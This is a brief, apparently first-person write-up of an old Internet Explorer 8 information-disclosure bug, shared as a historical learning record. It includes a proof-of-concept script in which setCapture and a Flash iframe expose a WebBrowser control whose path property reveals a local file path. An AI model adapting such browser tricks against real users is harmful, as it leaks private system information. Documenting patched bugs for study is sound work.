After playing around for a while with non-HTML content in iframes, I noticed that when IE instantiates a WebBrowser control to render something like a Flash file, that WBControl ends up as an srcElement in mouse events — and it exposes a path property. The setCapture call is the bridge that lets the parent document intercept a click originally aimed at the plugin container.

<script language="JavaScript">
document.body.onclick = function()
{
    if (event.srcElement.tagName == "OBJECT")
    {
        var wbControl = event.srcElement;
        alert(wbControl.path);
    }
}
</script>

<!-- Step 1: load a non-HTML file so IE creates a WBControl -->
<iframe src="dummy_flash.swf" width="320" height="100"></iframe>

<!-- Step 2: click this button to setCapture, then click inside the flash -->
<input type="button" value="setCapture" onclick="document.body.setCapture();">

The repro is manual: click the button to arm setCapture, then click inside the Flash iframe. The event.srcElement in the body’s onclick ends up being the WBControl, not the body itself, and from there wbControl.path reveals the file path. This worked on IE8 build 20081022 and was a variation of an earlier WinOOB report.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.